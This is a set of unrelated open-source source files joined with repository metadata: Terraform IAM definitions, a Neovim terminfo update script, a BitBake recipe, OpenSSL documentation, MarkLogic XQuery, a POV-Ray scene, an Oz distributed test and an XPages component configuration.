| Objective-C++ | 5 | Mu-L/kotlin | kotlin-native/runtime/src/objc/cpp/ObjCExportNumbers.mm | [
"ECL-2.0",
"Apache-2.0"
] |
data "aws_iam_policy_document" "eks-assume-role" {
statement {
actions = ["sts:AssumeRole"]
principals {
type = "Service"
identifiers = ["eks.amazonaws.com"]
}
}
}
resource "aws_iam_role" "cluster" {
name = "diem-${local.workspace_name}-cluster"
path = var.iam_path
assume_role_policy = data.aws_iam_policy_document.eks-assume-role.json
permissions_boundary = var.permissions_boundary_policy
tags = local.default_tags
}
resource "aws_iam_role_policy_attachment" "cluster-cluster" {
policy_arn = "arn:aws:iam::aws:policy/AmazonEKSClusterPolicy"
role = aws_iam_role.cluster.name
}
resource "aws_iam_role_policy_attachment" "cluster-service" {
policy_arn = "arn:aws:iam::aws:policy/AmazonEKSServicePolicy"
role = aws_iam_role.cluster.name
}
data "aws_iam_policy_document" "ec2-assume-role" {
statement {
actions = ["sts:AssumeRole"]
principals {
type = "Service"
identifiers = ["ec2.amazonaws.com"]
}
}
}
resource "aws_iam_role" "nodes" {
name = "diem-${local.workspace_name}-nodes"
path = var.iam_path
assume_role_policy = data.aws_iam_policy_document.ec2-assume-role.json
permissions_boundary = var.permissions_boundary_policy
tags = local.default_tags
}
resource "aws_iam_instance_profile" "nodes" {
name = "diem-${local.workspace_name}-nodes"
role = aws_iam_role.nodes.name
path = var.iam_path
}
resource "aws_iam_role_policy_attachment" "nodes-node" {
policy_arn = "arn:aws:iam::aws:policy/AmazonEKSWorkerNodePolicy"
role = aws_iam_role.nodes.name
}
resource "aws_iam_role_policy_attachment" "nodes-cni" {
policy_arn = "arn:aws:iam::aws:policy/AmazonEKS_CNI_Policy"
role = aws_iam_role.nodes.name
}
resource "aws_iam_role_policy_attachment" "nodes-ecr" {
policy_arn = "arn:aws:iam::aws:policy/AmazonEC2ContainerRegistryReadOnly"
role = aws_iam_role.nodes.name
}
| HCL | 4 | PragmaTwice/diem | terraform/validator/aws/auth.tf | [
"Apache-2.0"
] |
#!/usr/bin/env bash
#
# usage: ./scripts/update_terminfo.sh
#
# This script does:
#
# 1. Download Dickey's terminfo.src
# 2. Compile temporary terminfo database from terminfo.src
# 3. Use database to generate src/nvim/tui/terminfo_defs.h
#
set -e
url='https://invisible-island.net/datafiles/current/terminfo.src.gz'
target='src/nvim/tui/terminfo_defs.h'
readonly -A entries=(
[ansi]=ansi_terminfo
[interix]=interix_8colour_terminfo
[iterm2]=iterm_256colour_terminfo
[linux]=linux_16colour_terminfo
[putty-256color]=putty_256colour_terminfo
[rxvt-256color]=rxvt_256colour_terminfo
[screen-256color]=screen_256colour_terminfo
[st-256color]=st_256colour_terminfo
[tmux-256color]=tmux_256colour_terminfo
[vte-256color]=vte_256colour_terminfo
[xterm-256color]=xterm_256colour_terminfo
[cygwin]=cygwin_terminfo
[win32con]=win32con_terminfo
[conemu]=conemu_terminfo
[vtpcon]=vtpcon_terminfo
)
db="$(mktemp -du)"
print_bold() {
printf "\\e[1m$*\\e[0m"
}
cd "$(git rev-parse --show-toplevel)"
#
# Get terminfo.src
#
print_bold '[*] Get terminfo.src\n'
curl -O "$url"
gunzip -f terminfo.src.gz
#
# Build terminfo database
#
print_bold '[*] Build terminfo database\n'
cat terminfo.src scripts/windows.ti | tic -x -o "$db" -
rm -f terminfo.src
#
# Write src/nvim/tui/terminfo_defs.h
#
print_bold "[*] Writing $target... "
sorted_terms="$(echo "${!entries[@]}" | tr ' ' '\n' | sort | xargs)"
cat > "$target" <<EOF
// This is an open source non-commercial project. Dear PVS-Studio, please check
// it. PVS-Studio Static Code Analyzer for C, C++ and C#: http://www.viva64.com
//
// Generated by scripts/update_terminfo.sh and $(tic -V)
//
#ifndef NVIM_TUI_TERMINFO_DEFS_H
#define NVIM_TUI_TERMINFO_DEFS_H
#include <stdint.h>
EOF
for term in $sorted_terms; do
path="$(find "$db" -name "$term")"
if [ -z "$path" ]; then
>&2 echo "Not found: $term. Skipping."
continue
fi
printf '\n'
infocmp -L -1 -A "$db" "$term" | sed -e '1d' -e 's#^#// #' | tr '\t' ' '
printf 'static const int8_t %s[] = {\n' "${entries[$term]}"
printf ' '
od -v -t d1 < "$path" | cut -c9- | xargs | tr ' ' ',' | tr -d '\n'
printf ' // NOLINT\n};\n'
done >> "$target"
cat >> "$target" <<EOF
#endif // NVIM_TUI_TERMINFO_DEFS_H
EOF
print_bold 'done\n'
| Shell | 5 | uga-rosa/neovim | scripts/update_terminfo.sh | [
"Vim"
] |
SUMMARY = "Simple DirectMedia Layer image library v2"
SECTION = "libs"
LICENSE = "Zlib"
LIC_FILES_CHKSUM = "file://COPYING.txt;md5=822edb694b20ff16ceef85b27f61c11f"
DEPENDS = "tiff zlib libpng jpeg virtual/libsdl2 libwebp"
SRC_URI = "http://www.libsdl.org/projects/SDL_image/release/SDL2_image-${PV}.tar.gz"
SRC_URI[md5sum] = "f26f3a153360a8f09ed5220ef7b07aea"
SRC_URI[sha256sum] = "bdd5f6e026682f7d7e1be0b6051b209da2f402a2dd8bd1c4bd9c25ad263108d0"
S = "${WORKDIR}/SDL2_image-${PV}"
inherit autotools pkgconfig
# Disable the run-time loading of the libs and bring back the soname dependencies.
EXTRA_OECONF += "--disable-jpg-shared --disable-png-shared -disable-tif-shared"
do_configure:prepend() {
# make autoreconf happy
touch ${S}/NEWS ${S}/README ${S}/AUTHORS ${S}/ChangeLog
# Removing these files fixes a libtool version mismatch.
rm -f ${S}/acinclude/libtool.m4
rm -f ${S}/acinclude/sdl2.m4
rm -f ${S}/acinclude/pkg.m4
rm -f ${S}/acinclude/lt~obsolete.m4
rm -f ${S}/acinclude/ltoptions.m4
rm -f ${S}/acinclude/ltsugar.m4
rm -f ${S}/acinclude/ltversion.m4
}
| BitBake | 3 | shipinglinux/meta-openembedded | meta-oe/recipes-graphics/libsdl/libsdl2-image_2.0.5.bb | [
"MIT"
] |
=pod
=head1 NAME
EVP_mdc2
- MDC-2 For EVP
=head1 SYNOPSIS
#include <openssl/evp.h>
const EVP_MD *EVP_mdc2(void);
=head1 DESCRIPTION
MDC-2 (Modification Detection Code 2 or Meyer-Schilling) is a cryptographic
hash function based on a block cipher. This implementation is only available
with the legacy provider.
=over 4
=item EVP_mdc2()
The MDC-2DES algorithm of using MDC-2 with the DES block cipher. It produces a
128-bit output from a given input.
=back
=head1 RETURN VALUES
These functions return a B<EVP_MD> structure that contains the
implementation of the symmetric cipher. See L<EVP_MD_meth_new(3)> for
details of the B<EVP_MD> structure.
=head1 CONFORMING TO
ISO/IEC 10118-2:2000 Hash-Function 2, with DES as the underlying block cipher.
=head1 SEE ALSO
L<evp(7)>,
L<provider(7)>,
L<EVP_DigestInit(3)>
=head1 COPYRIGHT
Copyright 2017-2020 The OpenSSL Project Authors. All Rights Reserved.
Licensed under the Apache License 2.0 (the "License"). You may not use
this file except in compliance with the License. You can obtain a copy
in the file LICENSE in the source distribution or at
L<https://www.openssl.org/source/license.html>.
=cut
| Pod | 4 | pmesnier/openssl | doc/man3/EVP_mdc2.pod | [
"Apache-2.0"
] |
xquery version "1.0-ml";
module namespace pma = "http://marklogic.com/smart-mastering/preview-matching-activity-lib";
import module namespace hent = "http://marklogic.com/data-hub/hub-entities"
at "/data-hub/5/impl/hub-entities.xqy";
import module namespace matcher = "http://marklogic.com/smart-mastering/matcher"
at "/com.marklogic.smart-mastering/matcher.xqy";
declare variable $PMA-MAX-RESULTS := 100;
declare variable $DEFAULT-URI-SAMPLE-SIZE := 20;
declare option xdmp:mapping "false";
declare function pma:match-within-uris($uris as xs:string*, $options as object-node())
{
pma:match-within-uris($uris, $options, 0)
};
declare function pma:match-within-uris($uris as xs:string*, $options as object-node(), $count as xs:integer)
as element(results)*
{
if (fn:count($uris) > 1) then
let $uri1 := fn:head($uris)
let $doc1 := fn:doc($uri1)
let $results := matcher:find-document-matches-by-options($doc1, $options, 1, 10000, fn:true(), cts:document-query(fn:tail($uris)))
let $count := $count + fn:count($results/result)
let $results := pma:transform-results($results, $uri1)
return
(
$results,
if (fn:count($uris) > 2 and $count < $PMA-MAX-RESULTS) then
pma:match-within-uris(fn:tail($uris), $options, $count)
else
()
)
else
()
};
(:
Finds matches for the $uris against the rest of the database, filtered by sourceQuery. Excludes any matches between $uris,
which were already returned by the match-within-uris() function.
:)
declare function pma:match-against-source-query-docs(
$uris as xs:string*,
$options as object-node(),
$source-query as cts:query,
$previous-count as xs:integer,
$all-results as element(results)*
) (: as element(results)* :) (: Return signature commented out to facilitate tail recursion :)
{
if (fn:count($all-results) >= ($PMA-MAX-RESULTS - $previous-count) or fn:empty($uris)) then
$all-results
else
pma:match-against-source-query-docs(
fn:tail($uris),
$options,
$source-query,
$previous-count,
(
$all-results,
pma:transform-results(
matcher:find-document-matches-by-options(
fn:doc(fn:head($uris)),
$options,
1,
$PMA-MAX-RESULTS - (fn:count($all-results) + $previous-count),
fn:true(),
$source-query
),
fn:head($uris)
)
)
)
};
(: main purpose of this transform is to store the URI used for the match in the results element :)
declare function pma:transform-results($results as element(results), $uri as xs:string)
{
element results {
$results/@*,
attribute uri { $uri },
for $result in $results/result
return
element result {
$result/@*,
$result/matches/match/rulesetName
}
}
};
declare function pma:consolidate-preview-results($results as element(results)*)
as json:object*
{
let $objects :=
for $results in $results
let $uri := $results/@uri/fn:string(.)
for $result in $results/result
let $obj := json:object()
return (
map:put($obj, "name", $result/@threshold),
map:put($obj, "action", $result/@action),
map:put($obj, "score", $result/@score),
map:put($obj, "uris", json:to-array(($uri, $result/@uri))),
map:put($obj, "matchRulesets", json:to-array($result/rulesetName/fn:string(.))),
$obj
)
let $objects :=
for $obj in $objects
order by xs:double(map:get($obj, "score")) descending
return $obj
return fn:subsequence($objects, 1, $PMA-MAX-RESULTS)
};
declare function pma:get-uri-sample($source-query as cts:query, $sample-size as xs:integer?)
as xs:string*
{
let $sample-size :=
if (fn:exists($sample-size) and $sample-size > 0) then
$sample-size
else
$DEFAULT-URI-SAMPLE-SIZE
return
for $doc in cts:search(doc(), $source-query, ("unfiltered", "score-random"))[1 to $sample-size]
let $uri := xdmp:node-uri($doc)
order by $uri
return $uri
};
(:
The XQuery entry point function for the previewMatchingActivity API.
If there are at least two $uris, we first match within $uris, sorted descending by score.
If matching within $uris does not have at least $PMA-MAX-RESULTS results,
we match the $uris against all the documents in the database matching the sourceQuery,
(excluding $uris) with those results also sorted descending by score and appended
to the within-uris results.
To support the "All Data" option in the UI, pass a very large $sample-size.
:)
declare function pma:preview-matching-activity(
$options as object-node(),
$source-query as cts:query,
$uris as xs:string*,
$restrict-to-uris as xs:boolean,
$sample-size as xs:integer?)
as object-node()
{
let $obj := json:object()
let $uris :=
if (fn:exists($uris)) then
$uris
else
pma:get-uri-sample($source-query, $sample-size)
let $results-within-uris :=
pma:consolidate-preview-results(
pma:match-within-uris($uris, $options)
)
let $previous-count := fn:count($results-within-uris)
let $results-against-source-query-docs :=
if ($restrict-to-uris or $previous-count >= $PMA-MAX-RESULTS) then
()
else
pma:consolidate-preview-results(
pma:match-against-source-query-docs($uris, $options, cts:and-not-query($source-query, cts:document-query($uris)), $previous-count, ())
)
let $all-results := fn:subsequence(($results-within-uris, $results-against-source-query-docs), 1, $PMA-MAX-RESULTS)
let $all-uris := fn:distinct-values(($all-results ! ( json:array-values(map:get(., "uris")))))
let $entity-type := $options/targetEntityType
let $primary-keys := hent:find-entity-identifiers($all-uris, $entity-type)
let $_ :=
(
map:put($obj, "sampleSize", $sample-size),
map:put($obj, "primaryKeys", $primary-keys),
map:put($obj, "uris", json:to-array($uris)),
map:put($obj, "actionPreview", json:to-array($all-results))
)
return xdmp:to-json($obj)/node()
}; | XQuery | 5 | xmlnovelist/marklogic-data-hub | marklogic-data-hub/src/main/resources/ml-modules/root/data-hub/5/mastering/preview-matching-activity-lib.xqy | [
"Apache-2.0"
] |
/////////////////////////////////////////////////////////////////////////////
// Name: press.pov
// Purpose: POV-Ray scene used to generate clip for splash
// Author: Wlodzimierz ABX Skiba
// Modified by:
// Created: 24/11/2004
// Copyright: (c) Wlodzimierz Skiba
// Licence: wxWindows licence
/////////////////////////////////////////////////////////////////////////////
#version 3.6;
// Rendering options : +FT +W80 +H60 +AM1 +A0.05 +R5 +J0 +KFF500
// Produced TGA images converted to MPG with good old (1993) CMPEG tool
// Conversion : cmpeg.exe -v1 ipb.ctl frames.lst press.mpg
#include "colors.inc"
#include "rad_def.inc"
global_settings {
assumed_gamma 1.0
max_trace_level 100
}
background { colour White }
#declare Texts = array[ 3 ];
#declare Texts[0] = "PRESS";
#declare Texts[1] = "ANY";
#declare Texts[2] = "KEY";
camera{ orthographic look_at .5 location .5-z right 1.05*x up 1.05*y }
#declare Items = dimension_size( Texts , 1 );
#declare Objects = array[ Items + 1 ];
#declare f_line = function(x,xa,ya,xb,yb){((yb-ya)/(xb-xa))*(x-xa)+ya};
#declare Counter = 0;
#while ( Counter <= Items )
#if ( Counter < Items )
#declare Object = text{ ttf "crystal.ttf" Texts[ Counter ] 1 0 };
#else
#declare Object = Objects[ Items ];
#end
#declare M = max_extent( Object );
#declare m = min_extent( Object );
#declare S = M - m;
#declare Objects[ Counter ] = object{ Object translate -m + z*Counter scale <1/S.x,1/S.y,1> };
#declare Objects[ Items ] =
#if ( Counter = 0 | Counter = Items )
object{
#else
union{
object{ Objects[ Items ] translate y*1.1 }
#end
object{ Objects[ Counter ] }
};
#declare Pause=0.1;
#declare X0=(Counter+Pause)/(Items+2);
#declare Y0=0;
#declare X1=(Counter+1)/(Items+2);
#declare Y1=1;
#declare X2=(Counter+2-Pause)/(Items+2);
#declare Y2=0;
#declare C1=f_line(clock,0,0,3/4,1);
#declare C2=(Items+1)/(Items+2);
#declare C3=f_line(clock,1/4,0,1,1);
#declare C=max(min(C1,C2),C3);
#declare increase=f_line(C,X0,Y0,X1,Y1);
#declare decrease=f_line(C,X1,Y1,X2,Y2);
#declare change=min(increase,decrease);
#declare level=min(max(change,0),1);
object{
Objects[ Counter ]
pigment{ rgb level transmit 1-level }
}
#declare Counter = Counter + 1;
#end
| POV-Ray SDL | 4 | madanagopaltcomcast/pxCore | examples/pxScene2d/external/WinSparkle/3rdparty/wxWidgets/samples/splash/press.pov | [
"Apache-2.0"
] |
%%%
%%% Authors:
%%% Erik Klintskog (erik@sics.se)
%%%
%%% Copyright:
%%% Erik Klintskog, 1998
%%%
%%% Last change:
%%% $Date$Author:
%%% $Revision:
%%%
%%% This file is part of Mozart, an implementation
%%% of Oz 3
%%% http://www.mozart-oz.org
%%%
%%% See the file "LICENSE" or
%%% http://www.mozart-oz.org/LICENSE.html
%%% for information on usage and redistribution
%%% of this file, and for a DISCLAIMER OF ALL
%%% WARRANTIES.
%%%
functor
import
Remote(manager)
System
TestMisc(localHost)
DP
export
Return
define
proc {Start}
PP = pp(_ _ _ _)
RM = pp(_ _ _ _)
MyStream
PP.1 = {NewPort MyStream}
Dist = [2 3 4 1 2 3 4 2
1 2 1 2 3 2 1 2
3 4 3 2 1 1 2 3 1]
CC = {NewCell _}
proc{GCdo}
Pa2 Pa3 Pa4
in
{Send PP.2 gcDo(Pa2)}
{Send PP.3 gcDo(Pa3)}
{Send PP.4 gcDo(Pa4)}
{Wait Pa2}
{Wait Pa3}
{Wait Pa4}
{System.gcDo}
end
proc{RRsend RR L}
H = RR.1
in
{Assign CC RR.2#_}
{For 2 4 1 proc{$ P}
Cntrl in
{Send PP.P newEntity(RR.2 Cntrl)}
{Wait Cntrl}
end}
{Send PP.(L.1) H(RR.2 L.2)}
if {Access CC}.2 == ok then
skip
else
raise {Access CC}.2 end
end
{GCdo}
end
proc{Watch X}
thread
if {List.member permFail {DP.getFaultStream X}} then
{Send PP.1 siteFault(siteDown)}
end
end
end
thread
try
{ForAll MyStream
proc{$ X}
case X of entity(R L) then
{Access CC}.1 = R
if L == nil then
{Access CC}.2 = ok
else
{Send PP.(L.1) entity(R L.2)}
end
elseof gcDo(A) then
A = unit
elseof silentDeath then
raise hell end
elseof siteFault(M) then
raise M end
end
end}
catch EXP then
if (EXP == hell) then skip
else {Access CC}.2 = EXP end
end
end
proc {StartManagers}
{For 2 4 1
proc{$ Nr}
RM.Nr={New Remote.manager
init(host:TestMisc.localHost)}
{RM.Nr ping}
{RM.Nr apply(url:'' functor
import
System
Property(put)
define
{Property.put 'close.time' 1000}
local
MyStream
MemCell = {NewCell apa}
in
PP.Nr = {NewPort MyStream}
thread
try
{ForAll MyStream
proc{$ X}
case X of entity(R L) then
{Access MemCell} = R
{Send PP.(L.1)
entity(R L.2)}
elseof newEntity(E C) then
{Assign MemCell E}
C = unit
elseof gcDo(A) then
{System.gcDo}
A = unit
end
end}
catch M then
{Send PP.1 siteFault(M)}
end
end
end
end
)}
{RM.Nr ping}
{Wait PP.Nr}
{Watch PP.Nr}
end}
end
in
{StartManagers}
%% atom
{RRsend entity#apa Dist}
%% list
{RRsend entity#[apa bapa rapa skrapa] Dist}
%% string
{RRsend entity#"apan bapa rapar sa att det i marken skrapar" Dist}
%% name
{RRsend entity#{NewName} Dist}
%% lock
{RRsend entity#{NewLock} Dist}
%% cell
{RRsend entity#{NewCell apa} Dist}
%% port
{RRsend entity#{NewPort _ $} Dist}
%% proc
{RRsend entity#proc{$ D } A = 2 in D=A*2 end Dist}
%% sited proc
{RRsend entity#proc sited{$ D } A = 2 in D=A*2 end Dist}
%% object
{RRsend entity#{New class $
feat a
meth init self.a = 6 end
end
init}
Dist}
%% sited object
{RRsend entity#{New class $
prop sited
meth init skip end
end
init}
Dist}
%% class
{RRsend entity#class $
feat a
meth init self.a = 6 end
end
Dist}
%% sited class
{RRsend entity#class $
prop sited
meth init skip end
end
Dist}
%% dictionaries
{RRsend entity#{Dictionary.new} Dist}
%% close managers
{For 2 4 1 proc{$ Nr}
/* {Fault.deinstall PP.Nr
watcher('cond':permHome) Watch}*/
{RM.Nr close}
end}
{Send PP.1 silentDeath}
end
Return = dp([equality(Start keys:[remote])])
end
| Oz | 4 | Ahzed11/mozart2 | platform-test/dp/equality.oz | [
"BSD-2-Clause"
] |
<?xml version="1.0" encoding="UTF-8"?>
<!-- ******************************************************************* -->
<!-- -->
<!-- © Copyright IBM Corp. 2010, 2012 -->
<!-- -->
<!-- Licensed under the Apache License, Version 2.0 (the "License"); -->
<!-- you may not use this file except in compliance with the License. -->
<!-- You may obtain a copy of the License at: -->
<!-- -->
<!-- http://www.apache.org/licenses/LICENSE-2.0 -->
<!-- -->
<!-- Unless required by applicable law or agreed to in writing, software -->
<!-- distributed under the License is distributed on an "AS IS" BASIS, -->
<!-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or -->
<!-- implied. See the License for the specific language governing -->
<!-- permissions and limitations under the License. -->
<!-- -->
<!-- ******************************************************************* -->
<faces-config>
<faces-config-extension>
<namespace-uri>http://www.ibm.com/xsp/coreex</namespace-uri>
<default-prefix>xe</default-prefix>
<designer-extension>
<control-subpackage-name>dojo.layout</control-subpackage-name>
</designer-extension>
</faces-config-extension>
<!-- TODO ensure consistency of default values across description, getter, render, CS dojo property default -->
<!-- Start of Dojo Layout Controls -->
<component>
<!-- # "iframe" should not be translated, it is a technical term-->
<description>Similar to an iframe, the Content Pane will render any controls placed inside it and fits in with the Dojo theme.</description>
<display-name>Dojo Content Pane</display-name>
<component-type>com.ibm.xsp.extlib.dojo.layout.ContentPane</component-type>
<component-class>com.ibm.xsp.extlib.component.dojo.layout.UIDojoContentPane</component-class>
<property>
<description>Used to designate the external data the pane should load.</description>
<display-name>Hypertext Reference URL</display-name>
<property-name>href</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
<editor>com.ibm.workplace.designer.ide.xfaces.internal.editors.FilePicker</editor>
<!-- TODO Update description refer to usage of href vs partialRefresh -->
<!-- TODO Investigate server side behaviour for href prefetch possibly -->
<!-- TODO Introduce new property for loading of xpage snippet from current page -->
<tags>
todo
</tags>
</designer-extension>
</property-extension>
</property>
<property>
<!-- # "BODY" should not be translated -->
<description>If true, the visible content between the BODY tags of the document the Content Pane retrieves is extracted from it and placed into the pane. false by default.</description>
<display-name>Extract Content</display-name>
<property-name>extractContent</property-name>
<property-class>boolean</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>If true, any Dojo controls returned in the content area are automatically displayed. This is true by default.</description>
<display-name>Enable Parse On Load</display-name>
<property-name>parseOnLoad</property-name>
<property-class>boolean</property-class>
<property-extension>
<default-value>true</default-value>
<designer-extension>
<category>dojo</category>
<!-- This defaults to true at runtime, so it will only
be possible to set the value in a theme file
in release 8.5.3 or later using the baseValue attribute.
runtime-default-true prevents a fail in BooleanPropertyDefaultTest -->
<tags>
runtime-default-true
</tags>
</designer-extension>
</property-extension>
</property>
<property>
<description>Acts just like the "preventCache" parameter for a Dojo "xhrGet" request. If true, an additional parameter is passed that changes with each request to prevent caching from occurring. false by default.</description>
<display-name>Prevent Cache</display-name>
<property-name>preventCache</property-name>
<property-class>boolean</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Used to force the pane to load content, even if it is not initially visible. (If the node is styled with display:none then content may not load unless preload is set to true.) false by default.</description>
<display-name>Preload</display-name>
<property-name>preload</property-name>
<property-class>boolean</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Used to indicate whether the pane should reload every time the pane goes from a hidden state to a visible state. false by default.</description>
<display-name>Refresh On Show</display-name>
<property-name>refreshOnShow</property-name>
<property-class>boolean</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<!-- # "Loading..." is translated in the Dojo translation memory, value here should reflect that -->
<description>Provides a message to the user while a load is in process. "Loading..." by default.</description>
<display-name>Loading Message</display-name>
<property-name>loadingMessage</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<localizable>true</localizable>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Provides a message to the user when a load fails. "Sorry, an error occurred" by default.</description>
<display-name>Error Message</display-name>
<property-name>errorMessage</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<localizable>true</localizable>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>JavaScript code executed after this control has been loaded and parsed</description>
<display-name>Load Script</display-name>
<property-name>onLoad</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>events</category>
<event>true</event>
<subcategory>change-event</subcategory>
</designer-extension>
</property-extension>
</property>
<property>
<description>JavaScript code executed before the content of this control is cleared</description>
<display-name>Unload Script</display-name>
<property-name>onUnload</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>events</category>
<event>true</event>
<subcategory>change-event</subcategory>
</designer-extension>
</property-extension>
</property>
<property>
<description>JavaScript code executed before a download starts and which returns a message to be displayed while loading</description>
<display-name>Download Start Script</display-name>
<property-name>onDownloadStart</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>events</category>
<event>true</event>
<subcategory>change-event</subcategory>
</designer-extension>
</property-extension>
</property>
<property>
<description>JavaScript code executed when an error occurs in the content of this control and which returns a message to be displayed</description>
<display-name>Content Error Script</display-name>
<property-name>onContentError</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>events</category>
<event>true</event>
<subcategory>change-event</subcategory>
</designer-extension>
</property-extension>
</property>
<property>
<description>JavaScript code executed when error occurs during a download and which returns a message to be displayed</description>
<display-name>Download Error Script</display-name>
<property-name>onDownloadError</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>events</category>
<event>true</event>
<subcategory>change-event</subcategory>
</designer-extension>
</property-extension>
</property>
<property>
<description>JavaScript code executed when a download has completed</description>
<display-name>Download End Script</display-name>
<property-name>onDownloadEnd</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>events</category>
<event>true</event>
<subcategory>change-event</subcategory>
</designer-extension>
</property-extension>
</property>
<property>
<description>Defines if the panel should use partial refresh to refresh its content. This is an XPages extension to the Dojo content pane.</description>
<display-name>Partial Refresh</display-name>
<property-name>partialRefresh</property-name>
<property-class>boolean</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
<!-- TODO Introduce new property partialExecute, since partialRefresh is present -->
<tags>
todo
</tags>
</designer-extension>
</property-extension>
</property>
<component-extension>
<base-component-type>com.ibm.xsp.extlib.dojo.Widget</base-component-type>
<component-family>javax.faces.Panel</component-family>
<renderer-type>com.ibm.xsp.extlib.dojo.layout.ContentPane</renderer-type>
<tag-name>djContentPane</tag-name>
<designer-extension>
<in-palette>true</in-palette>
<category>Dojo Layout</category>
</designer-extension>
</component-extension>
</component>
<component>
<description>Contains multiple panes each with its own tab with a label, but only one will be showed at a time.</description>
<display-name>Tab Container</display-name>
<component-type>com.ibm.xsp.extlib.dojo.layout.TabContainer</component-type>
<component-class>com.ibm.xsp.extlib.component.dojo.layout.UIDojoTabContainer</component-class>
<property>
<description>This property determines the position of the tabs relative to the content area.</description>
<display-name>Tab Position</display-name>
<property-name>tabPosition</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
<editor>com.ibm.workplace.designer.property.editors.comboParameterEditor</editor>
<editor-parameter>
top
bottom
left-h
right-h
</editor-parameter>
</designer-extension>
</property-extension>
</property>
<property>
<description>Defines whether the tab list gets an extra style class for layout or putting a border shading around the set of tabs</description>
<display-name>Tab Strip</display-name>
<property-name>tabStrip</property-name>
<property-class>boolean</property-class>
<property-extension>
<!-- Note, defaults to false (only changes
the appearance of the tab area, not the presence. -->
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>True if a menu should be used to select tabs when they are too wide to fit the Tab Container, false otherwise</description>
<display-name>Use Menu</display-name>
<property-name>useMenu</property-name>
<property-class>boolean</property-class>
<property-extension>
<!-- Note, this defaults to true in Dojo. -->
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>True if a slider should be used to select tabs when they are too wide to fit the Tab Container, false otherwise</description>
<display-name>Use Slider</display-name>
<property-name>useSlider</property-name>
<property-class>boolean</property-class>
<property-extension>
<!-- Note, this defaults to true in Dojo. -->
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Define the default content name when creating a new tab.</description>
<display-name>Default Tab Content</display-name>
<property-name>defaultTabContent</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
<!-- TODO Editor required -->
<tags>
todo
</tags>
</designer-extension>
</property-extension>
</property>
<component-extension>
<base-component-type>com.ibm.xsp.extlib.dojo.layout.StackContainer</base-component-type>
<component-family>javax.faces.Panel</component-family>
<renderer-type>com.ibm.xsp.extlib.dojo.layout.TabContainer</renderer-type>
<tag-name>djTabContainer</tag-name>
<designer-extension>
<in-palette>true</in-palette>
<category>Dojo Layout</category>
</designer-extension>
</component-extension>
</component>
<component>
<description>Each tab pane will be a new tab for the Tab Container and can have other controls placed on to it.</description>
<display-name>Tab Pane</display-name>
<component-type>com.ibm.xsp.extlib.dojo.layout.TabPane</component-type>
<component-class>com.ibm.xsp.extlib.component.dojo.layout.UIDojoTabPane</component-class>
<property>
<!-- Reusing the description from the XPages runtime tabPanel label property -->
<!-- <description>Label of the tab</description> -->
<description>%/com.ibm.xsp.UITabPanel/label/descr%</description>
<!-- Reusing the description from the accessibility title property -->
<!-- <display-name>Advisory Title</display-name> -->
<display-name>%/com.ibm.xsp.group.core.prop.title/title/name%</display-name>
<property-name>title</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<localizable>true</localizable>
<designer-extension>
<category>basics</category>
<!-- TODO get the Designer team to provide a translatable
default-value like "Tab 1" "Tab 2" etc. -->
<!-- Bad description, this is not an accessibility title,
it is the dojo tab panel's tab label. -->
<tags>
todo
not-accessibility-title
</tags>
</designer-extension>
</property-extension>
</property>
<property>
<description>Indicates whether the tab associated with the control has a close icon on it. By clicking the icon, the tab (and its contents) will be removed from the Tab Container.</description>
<display-name>Closable</display-name>
<property-name>closable</property-name>
<property-class>boolean</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Defines a unique value to identify this tab pane. This is used to identify a tab and select it instead of reopening a second instance if it already exists.</description>
<display-name>Tab Unique Key</display-name>
<property-name>tabUniqueKey</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specify whether partial execute and partial refresh should be automatically applied to event within this tree. Defaults to false.</description>
<display-name>Partial Events</display-name>
<property-name>partialEvents</property-name>
<property-class>boolean</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
<!-- TODO Investigate BreakingChange -->
<!-- TODO Remove this property when superclass provides partial execute and refresh -->
<tags>
todo
</tags>
</designer-extension>
</property-extension>
</property>
<component-extension>
<base-component-type>com.ibm.xsp.extlib.dojo.layout.ContentPane</base-component-type>
<component-family>javax.faces.Panel</component-family>
<renderer-type>com.ibm.xsp.extlib.dojo.layout.TabPane</renderer-type>
<tag-name>djTabPane</tag-name>
<designer-extension>
<in-palette>true</in-palette>
<category>Dojo Layout</category>
</designer-extension>
</component-extension>
</component>
<component>
<description>A control with multiple children but only one will be displayed at a time. Similar to the tab container without the tabs.</description>
<display-name>Stack Container</display-name>
<component-type>com.ibm.xsp.extlib.dojo.layout.StackContainer</component-type>
<component-class>com.ibm.xsp.extlib.component.dojo.layout.UIDojoStackContainer</component-class>
<property>
<description>Refers to the ID of the selected tab control</description>
